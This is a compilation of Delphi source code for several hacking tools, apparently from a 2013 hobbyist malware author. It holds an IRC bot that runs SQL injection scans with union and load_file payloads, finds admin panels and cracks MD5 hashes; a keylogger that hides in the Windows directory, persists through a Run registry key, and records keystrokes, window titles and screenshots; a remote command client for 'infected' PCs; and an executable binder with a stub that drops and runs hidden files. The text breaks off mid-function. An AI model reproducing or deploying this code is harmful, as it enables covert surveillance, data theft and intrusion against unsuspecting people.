        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin
          IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
              [2]);

        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
        end;

        PerlRegEx2.Regex :=
          'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin
          IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
              [2]);
        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
        end;

        //

        // Get DNS

        rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

        PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
        PerlRegEx2.Subject := rta;

        while PerlRegEx2.MatchAgain do
        begin
          for z := 1 to PerlRegEx2.SubExpressionCount do
            IdIRC1.Say(ANicknameFrom,
              '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
        end;

      end;

      sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] LocateIP : Finished');

      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

      //
    end;

    //

    // PanelFinder

    PerlRegEx1.Regex := '!panel (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin
      //

      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

      sMemo1.Lines.Add('[+] PanelFinder : Working');

      try

        IdHTTP := TIdHTTP.Create(nil);

        for i := Low(paginas) to High(paginas) do
          try

            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
            Form2.sStatusBar1.Update;

            IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
            if IdHTTP.ResponseCode = 200 then
              IdIRC1.Say(ANicknameFrom,
                '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                  + '/' + paginas[i]);
          except
            on E: EIdHttpProtocolException do
              ;
            on E: Exception do
              ;
          end;
      finally
        IdHTTP.Free;
      end;

      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

      sMemo1.Lines.Add('[+] PanelFinder : Finished');

      //
    end;

    //

    // Crack MD5

    PerlRegEx1.Regex := '!crackmd5 (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin

      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] CrackMD5 : Working');

      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

      sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
      Form2.sStatusBar1.Update;

      rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
          PerlRegEx1.SubExpressions[1]);

      PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
      PerlRegEx2.Subject := rta;
      if PerlRegEx2.Match then
      begin
        IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
            + ':' + PerlRegEx2.SubExpressions[2]);
      end
      else
      begin

        rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
            PerlRegEx1.SubExpressions[1]);

        PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then

        begin

          if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[1]);
          end
          else

          begin

            sStatusBar1.Panels[0].Text :=
              '[+] Searching in md52.altervista.org ...';
            Form2.sStatusBar1.Update;

            rta := IdHTTP1.Get
              ('http://md52.altervista.org/index.php?md5=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex :=
              '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                  + ':' + PerlRegEx2.SubExpressions[1]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
            end;
          end;

        end;
      end;

      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] CrackMD5 : Finished');

      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

    end;

    //

    // SQLI Scanner

    PerlRegEx1.Regex := '!sqli (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then

    begin

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] SQLI Scanner : Working');

      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

      pass1 := '+';
      pass2 := '--';

      urltest := 'concat(0x4b30425241,1,0x4b30425241)';

      sStatusBar1.Panels[0].Text := '[+] Checking ...';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

      code := IdHTTP1.Get
        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
          pass2);

      codedos := IdHTTP1.Get
        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
          pass2);

      if not(code = codedos) then
      begin

        IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
        Form2.sStatusBar1.Update;

        IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
          pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
        urlgen := '1';
        for i := 2 to 36 do
        begin
          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
          Form2.sStatusBar1.Update;
          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
            + ',0x4b30425241)';
          urlgen := urlgen + ',' + IntToStr(i);
          code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
          PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
          PerlRegEx2.Subject := code;

          if PerlRegEx2.Match then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
            IdIRC1.Say(ANicknameFrom,
              '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

            urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
              'hackman', []);
            full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
              pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
              urlgen;

            IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

            //

            pass1 := '+';
            pass2 := '--';

            hextest := '0x2f6574632f706173737764'; // /etc/passwd
            hextest := '0x633A2F78616D70702F726561642E747874';
            // #c:/xampp/read.txt

            web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
            web2 := StringReplace(full, 'hackman',
              'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
            web3 := StringReplace(full, 'hackman',
              'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                hextest + '))))', []);

            sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
            Form2.sStatusBar1.Update;

            code := IdHTTP1.Get
              (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
            end;

            code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                'information_schema.tables' + pass2);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
            end;

            code := IdHTTP1.Get(web3);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
            end;

            sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
            Form2.sStatusBar1.Update;

            code := IdHTTP1.Get(web2);

            PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom,
                '[+] User : ' + PerlRegEx2.SubExpressions[1]);
              IdIRC1.Say(ANicknameFrom,
                '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
              IdIRC1.Say(ANicknameFrom,
                '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

              sStatusBar1.Panels[0].Text := '[+] Done';
              Form2.sStatusBar1.Update;
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
              sStatusBar1.Panels[0].Text := '[-] DB details not found';
              Form2.sStatusBar1.Update;
            end;


            //

            sStatusBar1.Panels[0].Text := '[+] Done';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Done');

            sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

            sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

            abort;
          end
        end;
        sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
        Form2.sStatusBar1.Update;
        IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
        Form2.sStatusBar1.Update;
        IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
      end;

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

      sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

    end;

  end;
end;

procedure TForm2.sButton1Click(Sender: TObject);
var
  nick: string;
begin

  nick := 'ClapTrap';

  IdIRC1.Host := sEdit1.Text;
  IdIRC1.Port := StrToInt(sEdit2.Text);
  IdIRC1.Nickname := nick;
  IdIRC1.Username := nick + ' 1 1 1 1';
  IdIRC1.AltNickname := nick + '-l33t';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.Text);

    sStatusBar1.Panels[0].Text := '[+] Connected';
    Form2.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].Text := '[-] Error';
    Form2.sStatusBar1.Update;
  end;

end;

procedure TForm2.sButton2Click(Sender: TObject);
begin

  IdIRC1.Part(sEdit3.Text);
  IdIRC1.Disconnect();

  sStatusBar1.Panels[0].Text := '[+] OffLine';
  Form2.sStatusBar1.Update;

end;

end.

// The End ?

// DH Keycagator 0.2
// (C) Doddy Hackman 2013

unit dhkey;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses dhmain;
{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.Button1Click(Sender: TObject);
var
  password: string;
begin

  password := '123'; // Edit the password

  if (Edit1.Text = password) then
  begin
    Form1.Hide;
    Form2.Show;
  end
  else
  begin
    ShowMessage('Fuck You');
  end;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Form1.Hide;
  Abort;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;
begin

  Application.ShowMainForm := False;

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  her.WriteString('System', yalisto);
  her.Free;

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html',
    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  re: Longint;
begin

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    re := GetAsyncKeyState(120);
    If re = -32767 then
    Begin
      Form1.Show;
    End;
  end;

end;

end.

// The End ?

// DH KeyCagator 0.2
// (C) Doddy Hackman 2013

unit dhmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

type
  TForm2 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Image2: TImage;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Button4Click(Sender: TObject);
  private

  private
    Nombre2: string;

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm2.Button1Click(Sender: TObject);
begin
  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Button2Click(Sender: TObject);
begin
  Label1.font.color := clRed;
  Label1.Caption := 'Offline';
  Timer1.Enabled := False;
  Timer2.Enabled := False;
  Timer3.Enabled := False;
end;

procedure TForm2.Button3Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm2.Button4Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
var
  dir: string;
begin

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Timer1Timer(Sender: TObject);
var
  i: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  // Others

  for i := Low(n_raros) to High(n_raros) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_raros[i]);
    end;
  end;

  // Numbers

  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_derecha[i]);
    end;
  end;

  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_izquierda[i]);
    end;
  end;

  // SHIFT

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    for i := Low(n_shift) to High(n_shift) do
    begin
      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
      If Result = -32767 then
      begin
        savefile('logs.html', t_shift[i]);
      end;
    end;

    for i := 65 to 90 do
    begin
      Result := GetAsyncKeyState(i);
      If Result = -32767 then
      Begin
        savefile('logs.html', Chr(i + 0));
      End;
    end;

  end;

  // MAYUS

  if (GetKeyState(20) = 0) then
  begin
    mayus := 32;
  end
  else
  begin
    mayus := 0;
  end;

  for i := 65 to 90 do
  begin
    Result := GetAsyncKeyState(i);
    If Result = -32767 then
    Begin
      savefile('logs.html', Chr(i + mayus));
    End;
  end;

end;

procedure TForm2.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char;
  nombre1: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

  nombre1 := ventana1;

  if not(nombre1 = Nombre2) then
  begin
    Nombre2 := nombre1;
    savefile('logs.html',
      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  end;

end;

procedure TForm2.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap;
  foto2: TJpegImage;
  ventana: HDC;
  generado: string;

begin

  ventana := GetWindowDC(GetDesktopWindow);

  foto1 := TBitmap.Create;
  foto1.PixelFormat := pf24bit;
  foto1.Height := Screen.Height;
  foto1.Width := Screen.Width;

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY);

  foto2 := TJpegImage.Create;
  foto2.Assign(foto1);
  foto2.CompressionQuality := 60;

  generado := IntToStr(Random(100)) + '.jpg';

  foto2.SaveToFile(generado);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html', '<br><br><center><img src=' + generado +
      '></center><br><br>');

end;

end.

// The End ?

procedure TForm1.Button1Click(Sender: TObject);
var
  lugar: integer; // Declaramos la variable lugar como entero
begin

  ListBox1.Clear; // Limpiamos el contenido de ListBox

  for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
  // Listamos las conexiones que
  // hay en el server
  begin
    ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
    // Agregamos al ListBox
    // el host del infectado
    // conectado
  end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

  ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
  // Mandamos el comando
  // al pc infectado que
  // seleccionamos en el
  // ListBox

end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
  ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
  ClientSocket1.Open; // Iniciamos la conexion con el servidor

  Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana

end;

procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
var
  code: string;
begin

  // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora

  code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code

  if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
  begin
    mciSendString('Set cdaudio door open wait', nil, 0, handle);
    // Usamos mciSendString para abrir
    // la lectora
  end;

  if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
  begin
    mciSendString('Set cdaudio door closed wait', nil, 0, handle);
    // Cerramos la lectora usando
    // mciSendString
  end;

end;

// DH Binder 0.3
// (C) Doddy Hackman 2013
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dhbinde;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
  StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sStatusBar1: TsStatusBar;
    sListView1: TsListView;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    Image2: TImage;
    sButton1: TsButton;
    sGroupBox4: TsGroupBox;
    sComboBox1: TsComboBox;
    sGroupBox5: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sGroupBox6: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    PopupMenu1: TPopupMenu;
    l1: TMenuItem;
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    sEdit1: TsEdit;
    C1: TMenuItem;
    procedure l1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses about;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.C1Click(Sender: TObject);
begin
  sListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'ICO|*.ico|';

end;

procedure TForm1.l1Click(Sender: TObject);
var
  op: String;
begin

  if OpenDialog1.Execute then
  begin

    op := InputBox('Add File', 'Execute Hide ?', 'Yes');

    with sListView1.Items.Add do
    begin
      Caption := ExtractFileName(OpenDialog1.FileName);
      if (op = 'Yes') then
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Hide');
      end
      else
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Normal');
      end;
    end;

  end;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    sEdit1.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;

begin

  if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (sCheckBox1.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := sComboBox1.Items[sComboBox1.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
        , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
      True);

    uno := BeginUpdateResource
      (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

    for i := 0 to sListView1.Items.Count - 1 do
    begin

      nombre := sListView1.Items[i].Caption;
      ruta := sListView1.Items[i].SubItems[0];
      tipo := sListView1.Items[i].SubItems[1];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
        + '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
          SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

    if not(sEdit1.Text = '') then
    begin
      try
        begin
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                  + '/' + stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(sEdit1.Text)));
          EndUpdateResourceW(change, False);
          sStatusBar1.Panels[0].Text := '[+] Done ';
          Form1.sStatusBar1.Update;
        end;
      except
        begin
          sStatusBar1.Panels[0].Text := '[-] Error';
          Form1.sStatusBar1.Update;
        end;
      end;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[+] Done ';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?

// DH Binder 0.3
// (C) Doddy Hackman 2013
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

// Stub

program stub;

uses
  Windows,
  SysUtils,
  ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
